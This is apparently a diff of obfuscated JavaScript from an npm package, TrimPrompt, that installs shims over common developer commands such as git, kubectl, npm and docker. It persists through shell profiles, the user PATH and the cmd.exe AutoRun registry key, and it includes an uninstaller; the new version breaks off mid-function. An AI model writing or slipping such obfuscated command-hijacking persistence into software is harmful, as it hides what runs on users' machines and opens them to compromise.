0(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.',':$PATH\x22\x0a','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','path','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','powershell','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','.ps1','\x22\x20set\x20\x22PATH=','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','configurable','getOwnPropertyDescriptor','execFileSync','6101925OZXlSP'];a0_0xa41f=function(){return _0x76277d;};return a0_0xa41f();}function collectPowerShellProfiles(){const _0x35965e=a0_0x3da6f7,_0x217064=getExecSync(),_0x48de38=[],_0x391643=[[_0x35965e(0x148),_0x35965e(0x182)],[_0x35965e(0x148),_0x35965e(0x15e)]];try{_0x217064(_0x35965e(0x145),{'stdio':_0x35965e(0x1ae)}),_0x391643['push']([_0x35965e(0x18a),_0x35965e(0x15e)]);}catch{}for(const [_0x229a52,_0x15f7e5]of _0x391643){try{const _0x105d14=_0x217064(_0x229a52+'\x20-NoProfile\x20-Command\x20\x22'+_0x15f7e5+'\x22',{'encoding':_0x35965e(0x1b2)})[_0x35965e(0x186)]();_0x105d14&&!_0x48de38[_0x35965e(0x172)](_0x5cf2c7=>_0x5cf2c7['toLowerCase']()===_0x105d14['toLowerCase']())&&_0x48de38['push'](_0x105d14);}catch{}}return _0x48de38;}function getBashProfilesWindows(){const _0x3ef90b=a0_0x3da6f7,_0x42476f=os[_0x3ef90b(0x15c)]();return[_0x3ef90b(0x17c),_0x3ef90b(0x189)][_0x3ef90b(0x19a)](_0x4cce8d=>path['join'](_0x42476f,_0x4cce8d));}function getBroadcastCommand(){const _0x55bb77=a0_0x3da6f7;return _0x55bb77(0x142);}function a0_0x25cb(_0x34fd73,_0x505c1a){_0x34fd73=_0x34fd73-0x139;const _0xa41fc=a0_0xa41f();let _0x25cba5=_0xa41fc[_0x34fd73];return _0x25cba5;}function installShims(){const _0x29184d=a0_0x3da6f7,_0x21e9d9=path['join'](os[_0x29184d(0x15c)](),'.trimprompt',_0x29184d(0x178));try{!fs[_0x29184d(0x1a0)](_0x21e9d9)&&fs[_0x29184d(0x171)](_0x21e9d9,{'recursive':!![]});const _0x1b617a=os[_0x29184d(0x176)]()===_0x29184d(0x165);for(const _0x162c39 of SHIMMED_COMMANDS){if(_0x1b617a){const _0x23b1ff=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39+_0x29184d(0x17f)),_0x88f046=process.env.APPDATA?path[_0x29184d(0x16c)](process.env.APPDATA,_0x29184d(0x15f)):'',_0x55fdca=_0x88f046?_0x29184d(0x167)+path[_0x29184d(0x16c)](_0x88f046,_0x29184d(0x158))+'\x22':_0x29184d(0x16d),_0x13e606=[_0x29184d(0x18f),_0x55fdca+'\x20(',_0x29184d(0x152)+_0x162c39+_0x29184d(0x17a),')\x20else\x20(','\x20\x20set\x20\x22PATH=%PATH:'+_0x21e9d9+_0x29184d(0x18e),'\x20\x20'+_0x162c39+_0x29184d(0x17a),')'][_0x29184d(0x16c)]('\x0d\x0a')+'\x0d\x0a';fs[_0x29184d(0x156)](_0x23b1ff,_0x13e606,'utf8');const _0x52923f=path['join'](_0x21e9d9,_0x162c39+_0x29184d(0x14a)),_0x32967d='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x162c39+_0x29184d(0x13f)+_0x162c39+_0x29184d(0x139);fs[_0x29184d(0x156)](_0x52923f,_0x32967d,_0x29184d(0x1b2));const _0x492012=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39),_0xb49ad3=_0x21e9d9['replace'](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0xd2afff,_0x5e0377)=>'/'+_0x5e0377[_0x29184d(0x195)]()),_0x598d02=_0x29184d(0x155)+_0x162c39+_0x29184d(0x1a1)+_0xb49ad3+_0x29184d(0x1a2)+_0x162c39+_0x29184d(0x159);fs[_0x29184d(0x156)](_0x492012,_0x598d02,'utf8');}else{const _0x5d8a01=path[_0x29184d(0x16c)](_0x21e9d9,_0x162c39),_0x340a88=_0x29184d(0x155)+_0x162c39+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x162c39+_0x29184d(0x159);fs[_0x29184d(0x156)](_0x5d8a01,_0x340a88,'utf8'),fs[_0x29184d(0x16f)](_0x5d8a01,_0x29184d(0x188));}}let _0x31d32d=![],_0x1b26e0='';if(_0x1b617a)try{const _0x14d1dd=getExecSync(),_0x54efbd='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x21e9d9+_0x29184d(0x174),_0x251d2c=collectPowerShellProfiles();for(const _0x39a5ce of _0x251d2c){ensureProfileContains(_0x39a5ce,_0x21e9d9,_0x54efbd);}try{const _0x28316e=getExecFileSync(),_0x17264a=_0x29184d(0x167)+_0x21e9d9+_0x29184d(0x14b)+_0x21e9d9+';%PATH%\x22',_0x55ad49=_0x29184d(0x147);let _0x37295b='';try{const _0x219fca=_0x29184d(0x149)+_0x55ad49+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x37295b=_0x28316e('powershell.exe',['-NoProfile',_0x29184d(0x163),_0x219fca],{'encoding':_0x29184d(0x1b2),'stdio':[_0x29184d(0x1b0),'pipe',_0x29184d(0x1ae)]})[_0x29184d(0x186)]();}catch{}if(!_0x37295b[_0x29184d(0x19f)](_0x21e9d9)){const _0x5f45db=_0x37295b?_0x37295b+_0x29184d(0x190)+_0x17264a:_0x17264a,_0x5967fb='New-Item\x20-Path\x20\x27'+_0x55ad49+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x55ad49+_0x29184d(0x180)+_0x5f45db+'\x27';_0x28316e(_0x29184d(0x13a),['-NoProfile','-Command',_0x5967fb],{'stdio':_0x29184d(0x1ae)});}}catch{}try{const _0x1007f8=_0x21e9d9[_0x29184d(0x13d)](/\\/g,'/')[_0x29184d(0x13d)](/^([A-Za-z]):/,(_0x590f31,_0x5a117c)=>'/'+_0x5a117c[_0x29184d(0x195)]()),_0x4ba508=_0x29184d(0x175)+PROFILE_MARKER+_0x29184d(0x19d)+_0x1007f8+_0x29184d(0x144),_0x17536b=getBashProfilesWindows();let _0xa4430=![];for(const _0x18b2f1 of _0x17536b){fs[_0x29184d(0x1a0)](_0x18b2f1)&&(ensureProfileContains(_0x18b2f1,_0x1007f8,_0x4ba508),_0xa4430=!![]);}!_0xa4430&&ensureProfileContains(_0x17536b[0x0],_0x1007f8,_0x4ba508);}catch{}const _0x19db7e='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x2e3ccf=_0x14d1dd('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x19db7e+'\x22',{'encoding':_0x29184d(0x1b2),'stdio':[_0x29184d(0x1b0),'pipe',_0x29184d(0x1ae)]})[_0x29184d(0x186)]();if(!_0x2e3ccf['includes'](_0x21e9d9)){const _0x3b1343=_0x21e9d9+';'+_0x2e3ccf,_0x2b00a3=_0x3b1343['replace'](/'/g,'\x27\x27'),_0x4e68fd='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2b00a3+'\x27,\x20\x27User\x27)';_0x14d1dd(_0x29184d(0x151)+_0x4e68fd+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x29184d(0x1ae)});}const _0xd5f4a0=path[_0x29184d(0x16c)](process.env.APPDATA||'','npm',_0x29184d(0x19b));if(fs['existsSync'](_0xd5f4a0))try{fs[_0x29184d(0x141)](_0xd5f4a0);}catch{}_0x31d32d=!![];}catch(_0x4b0c7e){_0x1b26e0='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x21e9d9;}else try{const _0x582c90=_0x29184d(0x169)+_0x21e9d9+_0x29184d(0x144),_0x354259=os[_0x29184d(0x15c)](),_0x25d02a=[_0x29184d(0x17c),_0x29184d(0x192),_0x29184d(0x189),'.profile'];let _0x3c03d9=![];for(const _0x73e017 of _0x25d02a){const _0x5e2dc1=path['join'](_0x354259,_0x73e017);fs['existsSync'](_0x5e2dc1)&&(ensureProfileContains(_0x5e2dc1,_0x21e9d9,_0x29184d(0x175)+PROFILE_MARKER+'\x0a'+_0x582c90),_0x3c03d9=!![]);}if(!_0x3c03d9){const _0x4458bd=path[_0x29184d(0x16c)](_0x354259,_0x29184d(0x17c));ensureProfileContains(_0x4458bd,_0x21e9d9,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x582c90);}_0x31d32d=!![];}catch(_0x55a2b1){_0x1b26e0='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x21e9d9+_0x29184d(0x181);}const _0x792fb6='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS[_0x29184d(0x166)]+_0x29184d(0x16e),_0xd7cecc=_0x31d32d?_0x792fb6+_0x29184d(0x143):_0x792fb6+_0x29184d(0x179)+_0x1b26e0;return{'success':!![],'pathDir':_0x21e9d9,'message':_0xd7cecc};}catch(_0x457519){return{'success':![],'pathDir':_0x21e9d9,'message':_0x29184d(0x1ad)+_0x457519['message']};}}function uninstallShims(){const _0x30280e=a0_0x3da6f7,_0x38dc5d=path['join'](os[_0x30280e(0x15c)](),'.trimprompt',_0x30280e(0x178)),_0x33f9c7=os[_0x30280e(0x176)]()===_0x30280e(0x165);try{if(_0x33f9c7){const _0x2fa293=getExecSync();try{const _0x17e120=getExecFileSync(),_0xb3d624=_0x30280e(0x147),_0x3eede7=_0x30280e(0x149)+_0xb3d624+_0x30280e(0x197),_0x3f5dfd=_0x17e120(_0x30280e(0x13a),['-NoProfile',_0x30280e(0x163),_0x3eede7],{'encoding':_0x30280e(0x1b2),'stdio':[_0x30280e(0x1b0),_0x30280e(0x1b0),'ignore']})[_0x30280e(0x186)]();if(_0x3f5dfd[_0x30280e(0x19f)](_0x38dc5d)){const _0x5d1ee0=_0x3f5dfd[_0x30280e(0x196)]('\x20&\x20')[_0x30280e(0x173)](_0x2e51cb=>!_0x2e51cb[_0x30280e(0x19f)](_0x38dc5d));if(_0x5d1ee0[_0x30280e(0x166)]===0x0){const _0x189bfb=_0x30280e(0x1a8)+_0xb3d624+_0x30280e(0x17b);_0x17e120('powershell.exe',[_0x30280e(0x170),_0x30280e(0x163),_0x189bfb],{'stdio':_0x30280e(0x1ae)});}else{const _0x61617b=_0x5d1ee0[_0x30280e(0x16c)](_0x30280e(0x190)),_0x292fcb=_0x30280e(0x13b)+_0xb3d624+_0x30280e(0x180)+_0x61617b+'\x27';_0x17e120(_0x30280e(0x13a),[_0x30280e(0x170),_0x30280e(0x163),_0x292fcb],{'stdio':_0x30280e(0x1ae)});}}}catch{}try{const _0x103c0e=collectPowerShellProfiles();for(const _0x113077 of _0x103c0e){removeProfileBlock(_0x113077,PROFILE_MARKER);}}catch{}try{for(const _0x3c994c of getBashProfilesWindows()){removeProfileBlock(_0x3c994c,PROFILE_MARKER);}}catch{}try{const _0x12e6d4=_0x30280e(0x168),_0x16a8e5=_0x2fa293(_0x30280e(0x151)+_0x12e6d4+'\x22',{'encoding':_0x30280e(0x1b2),'stdio':[_0x30280e(0x1b0),_0x30280e(0x1b0),_0x30280e(0x1ae)]})[_0x30280e(0x186)]();if(_0x16a8e5['includes'](_0x38dc5d)){const _0x40376c=_0x16a8e5[_0x30280e(0x196)](';')[_0x30280e(0x173)](_0x58ee28=>_0x58ee28[_0x30280e(0x186)]()[_0x30280e(0x195)]()!==_0x38dc5d[_0x30280e(0x195)]())['join'](';'),_0x2dfa15=_0x40376c['replace'](/'/g,'\x27\x27'),_0x29e562=_0x30280e(0x15d)+_0x2dfa15+_0x30280e(0x191);_0x2fa293('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x29e562+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x30280e(0x1ae)});}}catch{}}else{const _0xc9cebc=os['homedir'](),_0x175b0f=[_0x30280e(0x17c),'.zshrc',_0x30280e(0x189),_0x30280e(0x185)];for(const _0x2c5466 of _0x175b0f){removeProfileBlock(path['join'](_0xc9cebc,_0x2c5466),PROFILE_MARKER);}}if(fs[_0x30280e(0x1a0)](_0x38dc5d)){const _0x4e550c=fs[_0x30280e(0x1a7)](_0x38dc5d);for(const _0x53deac of _0x4e550c){fs[_0x30280e(0x141)](path['join'](_0x38dc5d,_0x53deac));}fs[_0x30280e(0x19c)](_0x38dc5d);}return{'success':!![],'message':_0x30280e(0x14c)};}catch(_0x5206a9){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x5206a9[_0x30280e(0x13e)]};}}
1
+ 'use strict';const a0_0x1d499c=a0_0x2757;(function(_0x97b226,_0x577956){const _0x47617a=a0_0x2757,_0x56ca2f=_0x97b226();while(!![]){try{const _0x50cc09=-parseInt(_0x47617a(0x12b))/0x1+-parseInt(_0x47617a(0x171))/0x2+parseInt(_0x47617a(0x16e))/0x3*(-parseInt(_0x47617a(0x19b))/0x4)+parseInt(_0x47617a(0x162))/0x5+parseInt(_0x47617a(0x138))/0x6*(-parseInt(_0x47617a(0x166))/0x7)+parseInt(_0x47617a(0x131))/0x8+-parseInt(_0x47617a(0x15b))/0x9*(-parseInt(_0x47617a(0x12f))/0xa);if(_0x50cc09===_0x577956)break;else _0x56ca2f['push'](_0x56ca2f['shift']());}catch(_0x360c1d){_0x56ca2f['push'](_0x56ca2f['shift']());}}}(a0_0x570a,0xa25a9));function a0_0x570a(){const _0x3a1b71=['git','\x20-NoProfile\x20-Command\x20\x22','-Command','uninstallShims','\x20\x20trim\x20','Failed\x20to\x20uninstall\x20shims:\x20','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','kubectl','includes','TrimPrompt\x20Shims\x20PATH','Set-ItemProperty\x20-Path\x20\x27','pipe','\x0a$env:PATH\x20=\x20\x22','dirname','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','homedir','replace','.cmd','powershell','755','npm','\x20@args\x20}\x0a','call','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','child_process','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x20%*','rmdirSync','ignore','New-Item\x20-Path\x20\x27',';\x22\x20+\x20$env:PATH\x0a','trim.ps1','installShims',';%PATH%\x22','appendFileSync',':$PATH\x22\x0a','toLowerCase','108956vViJPb','execSync','$PROFILE.CurrentUserAllHosts','pip','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','prototype','ruff','some','\x20\x22$@\x22;\x20fi\x0a','1148034rritDF','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','mkdirSync','unlinkSync','11174630QUDfqq','writeFileSync','4003200dDIVhl','path','__createBinding','pip3','readdirSync','tree','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','3606480mNbuSp','\x0aexport\x20PATH=\x22','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','filter','cargo','win32','powershell.exe','.profile','\x27,\x20\x27User\x27)','-NoProfile','.zshrc','.bash_profile','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','\x22\x20set\x20\x22PATH=','pnpm','existsSync','length','split','trim','readFileSync','trim.cmd','Failed\x20to\x20install\x20shims:\x20','default','@echo\x20off','platform','create','message','\x20\x20set\x20\x22PATH=%PATH:',';=%\x22','\x20@args\x20}\x20else\x20{\x20&\x20','chmodSync',':$PATH\x22','.bashrc','export\x20PATH=\x22','npx','9MOewHH','\x20&\x20','join','configurable','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','5999725LQASFR','__esModule','glab','push','7dnbuKc','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','utf8','.trimprompt','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','getOwnPropertyDescriptor','Remove-ItemProperty\x20-Path\x20\x27','if\x20exist\x20\x22','42ZWaaEK','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','grep','44694ZTIXXw','powershell\x20-NoProfile\x20-Command\x20\x22','execFileSync','\x0a#\x20'];a0_0x570a=function(){return _0x3a1b71;};return a0_0x570a();}var __createBinding=this&&this[a0_0x1d499c(0x133)]||(Object[a0_0x1d499c(0x151)]?function(_0x29bc86,_0x54a57d,_0x11660a,_0x3e1bbb){const _0x194e43=a0_0x1d499c;if(_0x3e1bbb===undefined)_0x3e1bbb=_0x11660a;var _0x497475=Object[_0x194e43(0x16b)](_0x54a57d,_0x11660a);(!_0x497475||('get'in _0x497475?!_0x54a57d['__esModule']:_0x497475['writable']||_0x497475[_0x194e43(0x15e)]))&&(_0x497475={'enumerable':!![],'get':function(){return _0x54a57d[_0x11660a];}}),Object['defineProperty'](_0x29bc86,_0x3e1bbb,_0x497475);}:function(_0x26356c,_0x4167c7,_0x3b3aa1,_0x2bcc15){if(_0x2bcc15===undefined)_0x2bcc15=_0x3b3aa1;_0x26356c[_0x2bcc15]=_0x4167c7[_0x3b3aa1];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1d499c(0x151)]?function(_0x18d3da,_0x386be8){const _0x36b6a8=a0_0x1d499c;Object['defineProperty'](_0x18d3da,_0x36b6a8(0x14e),{'enumerable':!![],'value':_0x386be8});}:function(_0x2f6544,_0x5e20ef){const _0x177751=a0_0x1d499c;_0x2f6544[_0x177751(0x14e)]=_0x5e20ef;}),__importStar=this&&this['__importStar']||(function(){var _0x505007=function(_0x5645ea){return _0x505007=Object['getOwnPropertyNames']||function(_0x15fdef){const _0x12c55e=a0_0x2757;var _0x2715dd=[];for(var _0x5211d3 in _0x15fdef)if(Object[_0x12c55e(0x127)]['hasOwnProperty'][_0x12c55e(0x18b)](_0x15fdef,_0x5211d3))_0x2715dd[_0x2715dd[_0x12c55e(0x148)]]=_0x5211d3;return _0x2715dd;},_0x505007(_0x5645ea);};return function(_0x370068){const _0x53f2ce=a0_0x2757;if(_0x370068&&_0x370068[_0x53f2ce(0x163)])return _0x370068;var _0x5e9454={};if(_0x370068!=null){for(var _0x44eb8a=_0x505007(_0x370068),_0x4c3b87=0x0;_0x4c3b87<_0x44eb8a[_0x53f2ce(0x148)];_0x4c3b87++)if(_0x44eb8a[_0x4c3b87]!==_0x53f2ce(0x14e))__createBinding(_0x5e9454,_0x370068,_0x44eb8a[_0x4c3b87]);}return __setModuleDefault(_0x5e9454,_0x370068),_0x5e9454;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1d499c(0x196)]=installShims,exports[a0_0x1d499c(0x178)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1d499c(0x132))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x1d499c(0x136),'cat','read',a0_0x1d499c(0x170),'rg',a0_0x1d499c(0x128),a0_0x1d499c(0x175),'gh',a0_0x1d499c(0x164),a0_0x1d499c(0x13c),a0_0x1d499c(0x189),a0_0x1d499c(0x146),a0_0x1d499c(0x15a),'yarn',a0_0x1d499c(0x17c),'docker','pytest',a0_0x1d499c(0x19e),a0_0x1d499c(0x134),'go'],PROFILE_MARKER=a0_0x1d499c(0x17e);function getExecSync(){const _0x10bd68=a0_0x1d499c;return require(_0x10bd68(0x18d))[_0x10bd68(0x19c)];}function getExecFileSync(){const _0x24223e=a0_0x1d499c;return require(_0x24223e(0x18d))[_0x24223e(0x173)];}function ensureProfileContains(_0x858477,_0x1bd38c,_0x4a873a){const _0xfd8dd0=a0_0x1d499c;try{const _0x4515de=path[_0xfd8dd0(0x182)](_0x858477);!fs[_0xfd8dd0(0x147)](_0x4515de)&&fs[_0xfd8dd0(0x12d)](_0x4515de,{'recursive':!![]});if(fs[_0xfd8dd0(0x147)](_0x858477)){const _0x1189a5=fs[_0xfd8dd0(0x14b)](_0x858477,'utf8');if(_0x1189a5['includes'](_0x1bd38c))return;fs[_0xfd8dd0(0x198)](_0x858477,_0x4a873a,_0xfd8dd0(0x168));}else fs['writeFileSync'](_0x858477,_0x4a873a,'utf8');}catch{}}function removeProfileBlock(_0x5d253d,_0x267761){const _0x7f9056=a0_0x1d499c;try{if(!fs['existsSync'](_0x5d253d))return;const _0x601aa=fs[_0x7f9056(0x14b)](_0x5d253d,_0x7f9056(0x168));if(!_0x601aa[_0x7f9056(0x17d)](_0x267761))return;const _0x218060=_0x601aa[_0x7f9056(0x149)]('\x0a'),_0x375e0b=[];let _0x13e692=![];for(let _0x4f6b7c=0x0;_0x4f6b7c<_0x218060[_0x7f9056(0x148)];_0x4f6b7c++){if(_0x218060[_0x4f6b7c][_0x7f9056(0x17d)](_0x267761)){_0x13e692=!![];continue;}if(_0x13e692){_0x13e692=![];continue;}_0x375e0b['push'](_0x218060[_0x4f6b7c]);}const _0x3346ae=_0x375e0b[_0x7f9056(0x15d)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x5d253d,_0x3346ae,_0x7f9056(0x168));}catch{}}function collectPowerShellProfiles(){const _0x1b0f75=a0_0x1d499c,_0x3c5d80=getExecSync(),_0x41462f=[],_0x2332ac=[[_0x1b0f75(0x187),'$PROFILE.CurrentUserCurrentHost'],[_0x1b0f75(0x187),_0x1b0f75(0x19d)]];try{_0x3c5d80('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1b0f75(0x192)}),_0x2332ac[_0x1b0f75(0x165)](['pwsh',_0x1b0f75(0x19d)]);}catch{}for(const [_0x52db05,_0x5aa8a4]of _0x2332ac){try{const _0x37705e=_0x3c5d80(_0x52db05+_0x1b0f75(0x176)+_0x5aa8a4+'\x22',{'encoding':_0x1b0f75(0x168)})[_0x1b0f75(0x14a)]();_0x37705e&&!_0x41462f[_0x1b0f75(0x129)](_0x10ac15=>_0x10ac15[_0x1b0f75(0x19a)]()===_0x37705e[_0x1b0f75(0x19a)]())&&_0x41462f['push'](_0x37705e);}catch{}}return _0x41462f;}function a0_0x2757(_0x352c0f,_0x244a41){_0x352c0f=_0x352c0f-0x126;const _0x570a7a=a0_0x570a();let _0x2757d8=_0x570a7a[_0x352c0f];return _0x2757d8;}function getBashProfilesWindows(){const _0x2eddb5=a0_0x1d499c,_0x147c97=os[_0x2eddb5(0x184)]();return[_0x2eddb5(0x158),_0x2eddb5(0x143)]['map'](_0xdb9529=>path[_0x2eddb5(0x15d)](_0x147c97,_0xdb9529));}function getBroadcastCommand(){const _0x5e3a02=a0_0x1d499c;return _0x5e3a02(0x160);}function installShims(){const _0x3428d1=a0_0x1d499c,_0x4f0e4c=path[_0x3428d1(0x15d)](os[_0x3428d1(0x184)](),_0x3428d1(0x169),'shims');try{!fs[_0x3428d1(0x147)](_0x4f0e4c)&&fs[_0x3428d1(0x12d)](_0x4f0e4c,{'recursive':!![]});const _0x1d42aa=os[_0x3428d1(0x150)]()===_0x3428d1(0x13d);for(const _0xa363b5 of SHIMMED_COMMANDS){if(_0x1d42aa){const _0x5c8432=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5+_0x3428d1(0x186)),_0x28f79c=process.env.APPDATA?path[_0x3428d1(0x15d)](process.env.APPDATA,_0x3428d1(0x189)):'',_0x22f7ea=_0x28f79c?_0x3428d1(0x16d)+path['join'](_0x28f79c,_0x3428d1(0x14c))+'\x22':_0x3428d1(0x137),_0x27311f=[_0x3428d1(0x14f),_0x22f7ea+'\x20(',_0x3428d1(0x179)+_0xa363b5+_0x3428d1(0x190),')\x20else\x20(',_0x3428d1(0x153)+_0x4f0e4c+_0x3428d1(0x154),'\x20\x20'+_0xa363b5+_0x3428d1(0x190),')'][_0x3428d1(0x15d)]('\x0d\x0a')+'\x0d\x0a';fs[_0x3428d1(0x130)](_0x5c8432,_0x27311f,_0x3428d1(0x168));const _0x249907=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5+'.ps1'),_0x414a6='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0xa363b5+_0x3428d1(0x155)+_0xa363b5+_0x3428d1(0x18a);fs[_0x3428d1(0x130)](_0x249907,_0x414a6,_0x3428d1(0x168));const _0x3c8e23=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5),_0x2c50aa=_0x4f0e4c['replace'](/\\/g,'/')[_0x3428d1(0x185)](/^([A-Za-z]):/,(_0x2fb373,_0x1ed05b)=>'/'+_0x1ed05b[_0x3428d1(0x19a)]()),_0x47925d=_0x3428d1(0x167)+_0xa363b5+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x2c50aa+_0x3428d1(0x18f)+_0xa363b5+_0x3428d1(0x12a);fs[_0x3428d1(0x130)](_0x3c8e23,_0x47925d,_0x3428d1(0x168));}else{const _0x362895=path[_0x3428d1(0x15d)](_0x4f0e4c,_0xa363b5),_0x51a16d=_0x3428d1(0x167)+_0xa363b5+_0x3428d1(0x12c)+_0xa363b5+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x3428d1(0x130)](_0x362895,_0x51a16d,_0x3428d1(0x168)),fs[_0x3428d1(0x156)](_0x362895,_0x3428d1(0x188));}}let _0x65de31=![],_0x58c406='';if(_0x1d42aa)try{const _0x3999a2=getExecSync(),_0x1b7cb6='\x0a#\x20'+PROFILE_MARKER+_0x3428d1(0x181)+_0x4f0e4c+_0x3428d1(0x194),_0x3f39bf=collectPowerShellProfiles();for(const _0x159080 of _0x3f39bf){ensureProfileContains(_0x159080,_0x4f0e4c,_0x1b7cb6);}try{const _0x727c76=getExecFileSync(),_0x772a0b=_0x3428d1(0x16d)+_0x4f0e4c+_0x3428d1(0x145)+_0x4f0e4c+_0x3428d1(0x197),_0xfeaed1=_0x3428d1(0x161);let _0x54062d='';try{const _0x4865c3='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0xfeaed1+_0x3428d1(0x16f);_0x54062d=_0x727c76('powershell.exe',[_0x3428d1(0x141),_0x3428d1(0x177),_0x4865c3],{'encoding':_0x3428d1(0x168),'stdio':[_0x3428d1(0x180),'pipe',_0x3428d1(0x192)]})[_0x3428d1(0x14a)]();}catch{}if(!_0x54062d['includes'](_0x4f0e4c)){const _0xcef934=_0x54062d?_0x54062d+'\x20&\x20'+_0x772a0b:_0x772a0b,_0x14b1ec=_0x3428d1(0x193)+_0xfeaed1+_0x3428d1(0x144)+_0xfeaed1+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0xcef934+'\x27';_0x727c76(_0x3428d1(0x13e),[_0x3428d1(0x141),'-Command',_0x14b1ec],{'stdio':_0x3428d1(0x192)});}}catch{}try{const _0x5de264=_0x4f0e4c[_0x3428d1(0x185)](/\\/g,'/')[_0x3428d1(0x185)](/^([A-Za-z]):/,(_0x289537,_0x84c599)=>'/'+_0x84c599[_0x3428d1(0x19a)]()),_0x2c808a=_0x3428d1(0x174)+PROFILE_MARKER+_0x3428d1(0x139)+_0x5de264+_0x3428d1(0x199),_0x1bd705=getBashProfilesWindows();let _0x4a6900=![];for(const _0x89da1f of 